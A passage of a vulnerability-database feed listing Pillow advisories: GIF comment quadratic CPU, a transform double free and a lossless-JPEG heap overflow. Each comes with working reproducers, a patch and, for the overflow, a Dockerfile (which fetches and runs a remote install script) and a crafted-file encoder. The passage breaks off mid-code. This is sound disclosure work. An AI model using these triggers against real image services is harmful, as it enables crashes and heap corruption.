self.info[\"comment\"] = comment\n         for k in [\"duration\", \"extension\"]:\n             if k in info:\n                 self.info[k] = info[k]\n```\n\n## The reproducer\n\n<details>\n<summary>Reproducer — <code>repro</code>, 2,263 bytes (click to open)</summary>\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Quadratic CPU in Image.open() on GIF comment extensions.\n\nGifImageFile._seek() appends every comment extension to info[\"comment\"] with\nbytes `+=` (src/PIL/GifImagePlugin.py:266), copying the whole accumulated\ncomment each time.  Image.open() runs _seek(0) eagerly, so merely opening a GIF\nmade of many tiny comment extensions costs O(size^2) CPU.\n\nWe time Image.open() on two files of identical length:\n  ATTACK  - a 1x1 GIF whose body is thousands of 1-byte comment extensions (label 0xFE)\n  CONTROL - the same bytes with label 0x01 (plain-text extension), which _seek()\n            reads through the same loop but discards instead of concatenating.\nA linear parser would take ~2x longer when the file doubles, and the two files\nwould cost about the same.\n\"\"\"\nimport io\nimport time\n\nfrom PIL import Image\n\nHEADER = b\"GIF89a\" + b\"\\x01\\x00\\x01\\x00\" + b\"\\x00\\x00\\x00\"  # 1x1 screen, no palette\nIMAGE = b\",\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\" + b\"\\x02\\x02\\x44\\x01\\x00\"  # 1x1 frame\nTRAILER = b\";\"\n\n\ndef make_gif(size: int, label: int) -> bytes:\n    # each extension is `21 <label> 01 'A' 00`: one 1-byte sub-block, then terminator\n    extension = b\"!\" + bytes([label]) + b\"\\x01A\\x00\"\n    return HEADER + extension * (size // 5) + IMAGE + TRAILER\n\n\ndef time_open(data: bytes) -> float:\n    start = time.perf_counter()\n    with Image.open(io.BytesIO(data)) as im:  # no load(): the cost is in open()\n        elapsed = time.perf_counter() - start\n        assert im.size == (1, 1)\n    return elapsed\n\n\nMB = 1 << 20\nattack, control = {}, {}\nfor size in (2 * MB, 4 * MB):\n    control[size] = time_open(make_gif(size, 0x01))\n    attack[size] = time_open(make_gif(size, 0xFE))\n    print(f\"{size // MB} MB GIF   control (0x01): {control[size]:6.2f} s   \"\n          f\"comments (0xFE): {attack[size]:6.2f} s\", flush=True)\n\ngrowth = attack[4 * MB] / attack[2 * MB]\nvs_control = attack[4 * MB] / control[4 * MB]\nprint(f\"doubling 2 MB -> 4 MB multiplied open() time by x{growth:.1f} (linear: ~x2)\")\nprint(f\"4 MB comment GIF took x{vs_control:.0f} as long as the same-size control\")\n\n# BUG: super-linear growth, far slower than the control, and seconds of CPU per open()\nprint(\"BUG\" if growth >= 3 and vs_control >= 20 and attack[4 * MB] >= 8 else \"OK\")\n```\n</details>\n\n---","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-74r2-7ff9-mjj2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112401"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/68a3fe957d8a4d552e8c69d96066d749f0614c7e"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-112402","published":"2026-10-22T09:13:55Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-7mwm-ghpf-9vrm","CVE-2026-112402","BIT-pillow-2026-112402","PYSEC-2026-4331"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: Double free in ImagingScaleAffine on calloc failure via Image.transform","details":"```\n============================================================================\nDouble free in ImagingScaleAffine on calloc failure via Image.transform\nLocation: src/libImaging/Geometry.c:866  in ImagingScaleAffine()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nThere is a double free in Pillow's `Image.transform()` that crashes the process when an oversized transform runs out of memory. Instead of only raising `MemoryError`, Pillow frees the output image's memory once while handling the error and then again when the Python object is cleaned up. Anyone who can choose the output size of `Image.transform()` can trigger it, but only on a worker with a memory limit (a common hardening for image workers) or a 32-bit process. The result is a crash of the worker, plus corruption of its heap that has not been shown to be controllable.\n\nThe bug is in `ImagingScaleAffine()` in `src/libImaging/Geometry.c` (line 866). When its `calloc()` for the per-column lookup table of `4 × width` bytes fails, it calls `ImagingDelete(imOut)`. When the call comes from `Image.transform()`, `imOut` is the `Imaging` struct owned by the live Python `ImagingCore` output object. `_dealloc()` in `src/_imaging.c` later runs `ImagingDelete()` on the freed struct again, writing its mutex and refcount in freed memory and freeing the pixel blocks a second time. The path is reached with `Transform.EXTENT`, or `Transform.AFFINE` with a pure scale/translate matrix, under the default NEAREST resampling. A very wide, 1-row output size makes the lookup table the allocation that fails while the image itself still fits. On 64-bit Linux with default overcommit, that requires an address-space limit such as `ulimit -v`, `uwsgi --limit-as` or `systemd LimitAS=`. `resize()`, `thumbnail()` and `rotate()` are not affected. The attached reproducer runs on a stock build with a 1 GB limit: `transform((300000000, 1), EXTENT)` raises and catches `MemoryError`, then the process dies with SIGSEGV in `free()` called from `_dealloc()`. A memory-checking build reports the same path as a heap use-after-free. The faulty line was inherited from PIL 1.1.7 in the original fork commit, so every Pillow release since 1.0 is affected. A patch is attached.\n\n## Details\n\n`ImagingScaleAffine()` frees an image it does not own. On the one error path where its `calloc()` for the per-column lookup table fails, it calls `ImagingDelete(imOut)`. When reached through `Image.transform()`, `imOut` is the `Imaging` struct held by a live Python `ImagingCore` object; that object's `_dealloc()` later calls `ImagingDelete()` on the already-freed struct and frees its pixel blocks a second time.\n\nShortest demonstration on the stock build (the address-space limit stands in for `ulimit -v` / `uwsgi --limit-as` / `systemd LimitAS=` on a worker):\n\n```python\nimport resource, gc\nfrom PIL import Image\nresource.setrlimit(resource.RLIMIT_AS, (1_000_000_000,) * 2)\nsrc = Image.new(\"L\", (8, 8))\ntry:\n    src.transform((300_000_000, 1), Image.Transform.EXTENT, (0, 0, 8, 8))\nexcept MemoryError:\n    pass                      # expected, and the process should carry on\ngc.collect()                  # instead: SIGSEGV in _dealloc -> ImagingDelete -> free()\n```\n\nThe 300 MB output image allocates; `calloc(300000000, 4)` (1.2 GB) does not. `MemoryError` is raised as intended, but the interpreter then dies with SIGSEGV, gdb showing `free()` ← `memory_return_block`/`ImagingDestroyArray` (`src/libImaging/Storage.c:396,408`) ← `ImagingDelete` (`Storage.c:271`) ← `_dealloc` (`src/_imaging.c:188`). An AddressSanitizer build of the same sources (with `max_allocation_size_mb` used to make the `calloc` fail instead of an rlimit) reports `heap-use-after-free` in `ImagingDelete src/libImaging/Storage.c:257` called from `_dealloc src/_imaging.c:188`, on a 128-byte region \"freed by\" `ImagingDelete` ← `ImagingScaleAffine src/libImaging/Geometry.c:866` ← `ImagingTransformAffine Geometry.c:1043` ← `ImagingTransform Geometry.c:1135` ← `_transform src/_imaging.c:2153`, \"previously allocated by\" `ImagingNewPrologueSubtype Storage.c:53` ← … ← `_new src/_imaging.c:756`.\n\n### Code path\n\n`Image.transform()` creates the output image as an ordinary Python-owned image and then transforms *into* it:\n\n```python\n# src/PIL/Image.py:3008…3021\n        im = new(self.mode, size, fillcolor)\n        …\n            im.__transformer(\n                (0, 0, *size), self, method, data, resample, fillcolor is None\n            )\n```\n\n`__transformer()` rewrites `Transform.EXTENT` into an axis-aligned affine matrix (`src/PIL/Image.py:3040-3046`: `data = (xs, 0, x0, 0, ys, y0)`, `method = Transform.AFFINE`) and calls `self.im.transform(box, image.im, method, data, resample, fill)` (`Image.py:3117`). `resample` defaults to `Resampling.NEAREST` (`Image.py:2936`).\n\nIn C, `_transform()` passes its *own* image as the destination:\n\n```c\n/* src/_imaging.c:2153 */\n    imOut = ImagingTransform(\n        self->image, imagep->image, method, x0, y0, x1, y1, a, filter, fill\n    );\n```\n\n`ImagingTransformAffine()` takes the scaling fast path because the filter is NEAREST and the matrix has no shear:\n\n```c\n/* src/libImaging/Geometry.c:1035-1043 */\n    if (filterid || imIn->type == IMAGING_TYPE_I16) {\n        return ImagingGenericTransform(…);\n    }\n    if (a[1] == 0 && a[3] == 0) {\n        /* Scaling */\n        return ImagingScaleAffine(imOut, imIn, x0, y0, x1, y1, a, fill);\n    }\n```\n\nand `ImagingScaleAffine()` allocates a table of `imOut->xsize` ints:\n\n```c\n/* src/libImaging/Geometry.c:863-868 */\n    /* malloc check ok, uses calloc for overflow */\n    xintab = (int *)calloc(imOut->xsize, sizeof(int));\n    if (!xintab) {\n        ImagingDelete(imOut);                         /* <-- imOut belongs to the caller */\n        return (Imaging)ImagingError_MemoryError();\n    }\n```\n\n`ImagingDelete()` (`src/libImaging/Storage.c:250-279`) drops the refcount to 0, returns the pixel blocks to the arena / `free()`s them via `im->destroy`, and `free(im)`. `self->image` in the `ImagingCore` object still points at the freed struct. `_transform()` returns `NULL`, `Image.transform()` propagates `MemoryError`, the half-built output `Image` loses its last reference, and `_dealloc()` (`src/_imaging.c:188`) calls `ImagingDelete(imagep->image)` again: it locks `im->mutex` and decrements `im->refcount` inside freed memory, then walks `im->blocks` (already freed, typically reused by then) and frees every entry a second time. In the observed stock-build runs the freed `blocks` array had been overwritten, so `free()` receives a mangled pointer and the process segfaults; with other heap states it is a plain double free of a 300 MB block.\n\nEvery other error return in `Geometry.c` (`ImagingError_ModeError`, `ImagingError_Mismatch`, `\"bad filter number\"`, `\"bad transform method\"`) leaves `imOut` alone; line 866 is the only one that deletes it. The delete is only correct for the other caller, `_resize()` (`src/_imaging.c:2026-2030`), where `imOut` is a fresh `ImagingNewDirty()` temporary that nothing else references. The delete predates Pillow's git history: it came in with the PIL 1.1.7 import, `9a640e315715` (\"Forking PIL\", 2010-07-30), so every release since Pillow 1.0 is affected.\n\nThe output width is what decides whether the path is hit: the output image costs `width × height × pixelsize` bytes, the table an additional `4 × width`. A very wide, 1-row output (300 000 000 × 1 \"L\": 300 MB image, 1.2 GB table) makes the table the allocation that fails. `ImagingNewPrologueSubtype()` caps `xsize` at `INT_MAX/4 - 1`, so the table is at most ~2 GB.\n\n## Impact\n\nApplications that let a user choose the output size of `Image.transform()` — `Transform.EXTENT` (crop-and-scale), `Transform.AFFINE` with a pure scale/translate matrix, or the `ImageTransform.ExtentTransform`/`AffineTransform` helpers, all with the default NEAREST resampling — can have an allocation failure turned into a use-after-free and double free inside the worker process instead of the `MemoryError` the API is meant to raise. `resize()`, `thumbnail()` and `rotate()` do not reach this path; `Image.resize(..., NEAREST, box=...)` goes through `ImagingScaleAffine()` but owns its output, and raises a clean `MemoryError`. The second precondition is that the output image itself allocates but the extra `4 × width` bytes do not; on 64-bit Linux with default overcommit this requires an address-space limit on the process (`ulimit -v`, `uwsgi --limit-as`, `systemd LimitAS=`, an in-app `setrlimit`), which is a common hardening for image workers; 32-bit processes can reach it through ordinary address-space exhaustion. The demonstrated consequence is a crash of the process handling the request after `MemoryError` has already been raised and possibly handled. The second `ImagingDelete()` also writes into the freed 128-byte struct (mutex, refcount) and double-frees an attacker-sized block, which is heap corruption rather than a clean abort, but no control over the written data is shown.\n\n## Reproducing\n\nRun `repro` (a self-contained Python script) from any directory. It uses the installed stock build, so nothing is rebuilt, and has no companion files. It runs the demonstration above in a child interpreter (`python3 -c`, taking `WIDTH` as an argument): the child disables core files, sets `RLIMIT_AS` to 1 GB (the kind of limit image workers are commonly given), creates an 8×8 \"L\" image, calls `src.transform((WIDTH, 1), Image.Transform.EXTENT, (0, 0, 8, 8))` with the default NEAREST resampling, prints `MemoryError caught` if that raises, then runs `gc.collect()` and prints `alive`. EXTENT with NEAREST is a pure scale, so the call goes through `ImagingScaleAffine()`, which callocs a `4 × WIDTH`-byte table in addition to the `WIDTH`-byte output image.\n\nThe script runs the child twice:\n\n- **Control:** width 50 000 000. The 50 MB image and the 200 MB table both fit under the limit, and the transform succeeds, which shows the limit itself is harmless.\n- **Attack:** width 300 000 000. The 300 MB output image is allocated, but `calloc(300000000, 4)` (1.2 GB) fails. Pillow correctly raises `MemoryError`, and the child catches it. But `ImagingScaleAffine()` has already called `ImagingDelete()` on the output image it does not own. When the output image is released, it is freed again. The child prints `MemoryError caught` and then dies with SIGSEGV instead of printing `alive`.\n\nIf the attack child was killed by a signal and `gdb` is installed, the script runs the attack again under `gdb` and prints the backtrace. The crash is in `free()` ← `memory_return_block`/`ImagingDestroyArray` (`Storage.c:396,408`) ← `ImagingDelete` (`Storage.c:271`) ← `_dealloc` (`_imaging.c:188`). In other words, the Python object's destructor is deleting the already-freed struct a second time. The verdict does not depend on this step.\n\nThe last line is `BUG` when the control exits 0 and the attack prints `MemoryError caught` and then dies from a signal without printing `alive`. Otherwise it is `OK`. With the attached patch applied, the attack prints `MemoryError caught`, then `alive`, exits 0, and the script prints `OK`.\n\n## Suggested fix\n\n`ImagingScaleAffine()` never owns `imOut`. The attached patch removes the `ImagingDelete()` at `src/libImaging/Geometry.c:866` and makes the one caller that relied on it, `_resize()` in `src/_imaging.c`, clean up its own temporary, the same idiom `_gaussian_blur()`/`_unsharp_mask()` already use. This also fixes `_resize()` passing a possible `NULL` from `ImagingNewDirty()` into `ImagingTransform()`, and leaking the temporary on the other `ImagingTransform()` error returns:\n\n```diff\n--- a/src/libImaging/Geometry.c\n+++ b/src/libImaging/Geometry.c\n@@ -863,7 +863,7 @@ ImagingScaleAffine(\n     /* malloc check ok, uses calloc for overflow */\n     xintab = (int *)calloc(imOut->xsize, sizeof(int));\n     if (!xintab) {\n-        ImagingDelete(imOut);\n+        /* imOut is owned by the caller; don't delete it here */\n         return (Imaging)ImagingError_MemoryError();\n     }\n--- a/src/_imaging.c\n+++ b/src/_imaging.c\n@@ -2024,10 +2024,16 @@ _resize(ImagingObject *self, PyObject *args) {\n         a[5] = box[1];\n \n         imOut = ImagingNewDirty(imIn->mode, xsize, ysize);\n+        if (!imOut) {\n+            return NULL;\n+        }\n \n-        imOut = ImagingTransform(\n-            imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1\n-        );\n+        if (!ImagingTransform(\n+                imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1\n+            )) {\n+            ImagingDelete(imOut);\n+            return NULL;\n+        }\n     } else {\n```\n\nEvery `ImagingTransform*()` path returns the same `imOut` on success, so wrapping the original pointer in `PyImagingNew()` in `_resize()` is unchanged behaviour. With the patch applied to a clean checkout and rebuilt, the reproducer prints `OK` and `Image.resize(..., NEAREST, box=...)` under the same limit raises a clean `MemoryError`.\n\n## The patch\n\nStop ImagingScaleAffine() deleting the caller-owned output image on calloc failure; make _resize() free its own temporary instead\n\nApplies to `src/libImaging/Geometry.c` at the commit above.\n\n```diff\ndiff --git a/src/_imaging.c b/src/_imaging.c\nindex 7e9c0e391..ac1873292 100644\n--- a/src/_imaging.c\n+++ b/src/_imaging.c\n@@ -2024,10 +2024,16 @@ _resize(ImagingObject *self, PyObject *args) {\n         a[5] = box[1];\n \n         imOut = ImagingNewDirty(imIn->mode, xsize, ysize);\n+        if (!imOut) {\n+            return NULL;\n+        }\n \n-        imOut = ImagingTransform(\n-            imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1\n-        );\n+        if (!ImagingTransform(\n+                imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1\n+            )) {\n+            ImagingDelete(imOut);\n+            return NULL;\n+        }\n     } else {\n         imOut = ImagingResample(imIn, xsize, ysize, filter, box);\n     }\ndiff --git a/src/libImaging/Geometry.c b/src/libImaging/Geometry.c\nindex 1bf92e26e..2baf000a5 100644\n--- a/src/libImaging/Geometry.c\n+++ b/src/libImaging/Geometry.c\n@@ -863,7 +863,7 @@ ImagingScaleAffine(\n     /* malloc check ok, uses calloc for overflow */\n     xintab = (int *)calloc(imOut->xsize, sizeof(int));\n     if (!xintab) {\n-        ImagingDelete(imOut);\n+        /* imOut is owned by the caller; don't delete it here */\n         return (Imaging)ImagingError_MemoryError();\n     }\n```\n\n## The reproducer\n\n<details>\n<summary>Reproducer — <code>repro</code>, 2,064 bytes (click to open)</summary>\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# UAF/double free in ImagingScaleAffine() (src/libImaging/Geometry.c:866):\n# on calloc() failure it ImagingDelete()s imOut, which for Image.transform()\n# is the Imaging struct owned by the live Python output image; that image's\n# _dealloc then ImagingDelete()s it again. Stock /src build, no rebuild.\n# A 1 GB RLIMIT_AS makes the 300 MB output image fit but the 1.2 GB\n# 4*width lookup table fail. Expected: MemoryError, process survives.\nimport subprocess, sys, textwrap, signal\n\nchild = textwrap.dedent('''\n    import resource, gc, sys\n    from PIL import Image\n    resource.setrlimit(resource.RLIMIT_CORE, (0, 0))\n    resource.setrlimit(resource.RLIMIT_AS, (1_000_000_000,) * 2)\n    w = int(sys.argv[1])\n    src = Image.new(\"L\", (8, 8))\n    try:\n        src.transform((w, 1), Image.Transform.EXTENT, (0, 0, 8, 8))\n        print(\"transform ok\")\n    except MemoryError:\n        print(\"MemoryError caught\")\n    gc.collect()\n    print(\"alive\")\n''')\n\ndef run(width):\n    p = subprocess.run([sys.executable, \"-u\", \"-c\", child, str(width)],\n                       capture_output=True, text=True, timeout=50)\n    print(f\"-- width={width}: rc={p.returncode}\\n{p.stdout.rstrip()}\")\n    return p\n\nctrl = run(50_000_000)      # 50 MB image + 200 MB table fit under the limit\natt = run(300_000_000)      # 300 MB image fits, 1.2 GB table does not\nbug = (ctrl.returncode == 0 and \"MemoryError caught\" in att.stdout\n       and \"alive\" not in att.stdout and att.returncode < 0)\nif att.returncode < 0:\n    print(\"attack child killed by\", signal.Signals(-att.returncode).name)\n    import shutil\n    if shutil.which(\"gdb\"):   # evidence only; verdict does not depend on it\n        g = subprocess.run([\"gdb\", \"-q\", \"-batch\", \"-ex\", \"run\", \"-ex\", \"bt 6\", \"--args\",\n                            sys.executable, \"-c\", child, \"300000000\"],\n                           capture_output=True, text=True, timeout=120)\n        print(\"\\n\".join(l for l in g.stdout.splitlines()\n                        if l.startswith(\"#\") or \"signal\" in l))\nprint(\"BUG\" if bug else \"OK\")\n```\n</details>\n\n---","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-7mwm-ghpf-9vrm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112402"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/aafa6c75f7cdabb9f409a8aac7c780bea31d08d9"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-112403","published":"2026-10-21T09:14:41Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-8g5g-8vmr-9782","CVE-2026-112403","BIT-pillow-2026-112403","PYSEC-2026-4332"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: Heap buffer overflow in ImagingJpegDecode","details":"## Summary\n\n`JpegImageFile.draft()` — which `Image.thumbnail()` calls automatically — requests 1/2, 1/4 or 1/8 scaled JPEG output and shrinks `self._size` and the tile extents to match, so `_setimage()` allocates a single-row decode buffer of `ceil(W/s)` samples. `ImagingJpegDecode()` sets `cinfo.scale_num`/`scale_denom`, calls `jpeg_start_decompress()`, and then reads scanlines into that buffer without ever comparing `cinfo.output_width`, `cinfo.output_height` or `cinfo.out_color_components` against `state->xsize`, `state->ysize` and `state->bits`.\n\nlibjpeg-turbo 3.x decodes lossless (SOF3) JPEG, but hardwires lossless streams to no scaling — the requested `scale_denom` is silently discarded. It therefore returns full-width `W`-sample rows into a buffer sized for `ceil(W/s)`. Each `jpeg_read_scanlines()` call writes `(W - ceil(W/s)) x components` bytes past the end of the heap allocation, and the overflowing bytes are the decoded pixel values, which are byte-exact for an 8-bit grayscale lossless image.\n\nThe input is a standards-compliant JPEG, so `Image.open(..., formats=[\"JPEG\"])` does not prevent it. Pillow's Python SOF parser already accepts marker `0xFFC3` (\"SOF3\", \"Spatial lossless\") at 8-bit precision, so the file opens normally as a `JPEG` / mode `L` image at its full declared size.\n\n## Affected code\n\nAt `e41083f383c9cd3db95de52564cc0b6452313d4a` (`main`, 2026-08-29):\n\n- `src/libImaging/JpegDecode.c:224-262` — `ImagingJpegDecode()`; `jpeg_start_decompress()` at :240, `jpeg_read_scanlines()` at :252, with no geometry check between them.\n- `src/decode.c:222-231` — `_setimage()`; `state->buffer = calloc(1, state->bytes)` with `state->bytes = (state->bits * state->xsize + 7) / 8`.\n- `src/PIL/JpegImagePlugin.py:428-464` — `JpegImageFile.draft()`; computes `s` and shrinks `_size`, the tile extents and `decoderconfig` with no notion of lossless coding.\n- `src/PIL/JpegImagePlugin.py:271` — `0xFFC3: (\"SOF3\", \"Spatial lossless\", SOF)`.\n\n```c\n// src/libImaging/JpegDecode.c\n            if (context->scale > 1) {\n                context->cinfo.scale_num = 1;\n                context->cinfo.scale_denom = context->scale;\n            }\n            ...\n        case 2:\n            if (!jpeg_start_decompress(&context->cinfo)) {\n                break;\n            }\n            state->state++;\n            /* fall through */\n        case 3:\n            ok = 1;\n            while (state->y < state->ysize) {\n                ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1);\n```\n\nBecause `state->ysize` (`ceil(H/s)`) can never equal libjpeg's `output_height` when `s >= 2`, the decode always ends in an error after the rows have already been written: the caller sees an exception and gets no pixels back. The `OSError` is a consequence of the overflow, not the issue being reported.\n\n## Primitive\n\nPer scanline: a contiguous write of `(W - ceil(W/s)) x c` bytes immediately past a `calloc(ceil(W/s) x c)` block, where `c = 1` for mode `L` and 4 for RGB (RGBX) and CMYK; repeated for `ceil(H/s)` rows over the same region. The buffer size class is chosen by the attacker through `W`, and for grayscale the overflowing content is an arbitrary attacker-chosen byte string.\n\nMeasured in the reproducer below: 1200x1100 mode `L`, `s=2` — a 600-byte allocation, 600 bytes written past it, ASan reporting the whole 1200-byte row write as one `memcpy`.\n\nThreshold: `draft()` must select `s >= 2`, i.e. `W // requested_w >= 2` and `H // requested_h >= 2`. For `thumbnail((256,256))` with the default `reducing_gap=2.0` that means `W, H >= 1024`.\n\n## Reproduction\n\nSelf-contained Docker reproducer (Ubuntu 24.04, clang 20, libjpeg-turbo 3.1.4 and Pillow both built from source with `-fsanitize=address`; Pillow checked out at `${TARGET_COMMIT}`, default `e41083f383c9cd3db95de52564cc0b6452313d4a`). Save the three files below as `Dockerfile`, `make_sof3.py` and `trigger.py` in an empty directory, then:\n\n```bash\ndocker build -t pillow-sof3-oob . && docker run --rm pillow-sof3-oob\n```\n\n`make_sof3.py` is a self-contained encoder that emits a standards-compliant 8-bit grayscale lossless-Huffman JPEG (SOI / DHT / SOF3 `P=8, Y=1100, X=1200, Nf=1` / SOS `Ss=1` predictor 1, `Se=0`, `Ah=Al=0` / entropy-coded row differences / EOI), whose rows carry a repeating marker pattern. `trigger.py` opens it and calls `thumbnail()`, whose implicit `draft()` picks `s=2` and allocates a 600-byte row buffer.\n\n### `Dockerfile`\n\n```dockerfile\nFROM ubuntu:24.04\nENV DEBIAN_FRONTEND=noninteractive\nARG TARGET_COMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a\nARG CLANG_VERSION=20\nARG LIBJPEG_TURBO_TAG=3.1.4\n\nRUN apt-get update && apt-get install -y --no-install-recommends \\\n        ca-certificates git make cmake nasm pkg-config libc6-dev gcc \\\n        wget gnupg lsb-release software-properties-common \\\n        python3 python3-dev python3-pip python3-venv zlib1g-dev \\\n    && wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \\\n    && apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \\\n    && rm -rf /var/lib/apt/lists/*\n\nENV CC=clang-20\nENV CXX=clang++-20\nENV CFLAGS=\"-g -fno-omit-frame-pointer -O1 -fsanitize=address\"\nENV CXXFLAGS=\"-g -fno-omit-frame-pointer -O1 -fsanitize=address\"\nENV LDFLAGS=\"-fsanitize=address\"\n\n# --- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan ---\nRUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo\nRUN cd /src/libjpeg-turbo && git checkout ${LIBJPEG_TURBO_TAG} \\\n    && cmake -B /build/ljt -S . -DCMAKE_BUILD_TYPE=None \\\n        -DCMAKE_C_COMPILER=clang-20 \\\n        -DCMAKE_C_FLAGS=\"$CFLAGS\" \\\n        -DCMAKE_EXE_LINKER_FLAGS=\"$LDFLAGS\" \\\n        -DCMAKE_SHARED_LINKER_FLAGS=\"$LDFLAGS\" \\\n        -DCMAKE_INSTALL_PREFIX=/opt/ljt -DWITH_JPEG8=0 -DENABLE_STATIC=0 \\\n    && cmake --build /build/ljt -j\"$(nproc)\" && cmake --install /build/ljt\n\n# --- Pillow at the pinned commit, built with ASan against that libjpeg ---\nRUN git clone https://github.com/python-pillow/Pillow /src/repo\nWORKDIR /src/repo\nRUN git checkout ${TARGET_COMMIT}\n\nENV JPEG_ROOT=/opt/ljt\nENV LD_LIBRARY_PATH=/opt/ljt/lib\nRUN python3 -m venv /venv \\\n    && /venv/bin/pip install --quiet --upgrade pip \"setuptools>=80\" wheel pybind11 \\\n    && CFLAGS=\"$CFLAGS\" LDFLAGS=\"$LDFLAGS -Wl,-rpath,/opt/ljt/lib\" \\\n       /venv/bin/pip install --no-build-isolation --no-deps . \\\n    && ln -sf \"$(clang-20 -print-file-name=libclang_rt.asan-x86_64.so)\" /opt/libasan.so \\\n    && LD_PRELOAD=/opt/libasan.so ASAN_OPTIONS=detect_leaks=0 \\\n       /venv/bin/python3 -c \"from PIL import Image, features; print(Image.__version__, features.version('jpg'))\"\n\nCOPY make_sof3.py /tmp/make_sof3.py\nCOPY trigger.py /tmp/trigger.py\nRUN python3 /tmp/make_sof3.py /tmp/sof3_gray_1200x1100.jpg\n\nENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1\nENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-20/bin/llvm-symbolizer\nENV LD_PRELOAD=/opt/libasan.so\nCMD [\"/bin/sh\",\"-c\",\"cd /tmp && /venv/bin/python3 /tmp/trigger.py 2>&1; echo EXIT=$?\"]\n```\n\n### `make_sof3.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"Generate an 8-bit grayscale lossless-Huffman (SOF3) JPEG.\n\nStandards-compliant per ITU-T T.81 Annex H (lossless mode), predictor 1 (Ra).\nRows carry an attacker-chosen marker byte pattern verbatim (lossless => exact).\n\"\"\"\nimport struct\nimport sys\n\nW = 1200\nH = 1100\nMARKER = b\"AAAABBBBCCCCDDDD\"  # attacker-chosen bytes that land past the buffer\n\n\nclass BitWriter:\n    def __init__(self):\n        self.out = bytearray()\n        self.acc = 0\n        self.n = 0\n\n    def put(self, value, nbits):\n        for i in range(nbits - 1, -1, -1):\n            self.acc = (self.acc << 1) | ((value >> i) & 1)\n            self.n += 1\n            if self.n == 8:\n                self.out.append(self.acc)\n                if self.acc == 0xFF:\n                    self.out.append(0x00)  # byte stuffing\n                self.acc = 0\n                self.n = 0\n\n    def flush(self):\n        while self.n:\n            self.put(1, 1)\n        return bytes(self.out)\n\n\n# Canonical Huffman: 17 symbols (categories 0..16), all of code length 5.\nBITS = [0] * 17\nBITS[5] = 17\nHUFFVAL = list(range(17))\nCODES = {sym: (i, 5) for i, sym in enumerate(HUFFVAL)}\n\n\ndef category(d):\n    if d == 0:\n        return 0\n    return abs(d).bit_length()\n\n\ndef build_pixels():\n    rows = []\n    for y in range(H):\n        row = bytearray()\n        while len(row) < W:\n            row += MARKER\n        rows.append(bytes(row[:W]))\n    return rows\n\n\ndef main(path):\n    rows = build_pixels()\n    bw = BitWriter()\n    prev = None\n    for y in range(H):\n        row = rows[y]\n        for x in range(W):\n            s = row[x]\n            if y == 0 and x == 0:\n                pred = 1 << 7          # 2^(P-1-Pt)\n            elif x == 0:\n                pred = prev[0]         # Rb for first sample of a line\n            else:\n                pred = row[x - 1]      # Ra, predictor 1\n            d = (s - pred) & 0xFFFF\n            if d >= 0x8000:\n                d -= 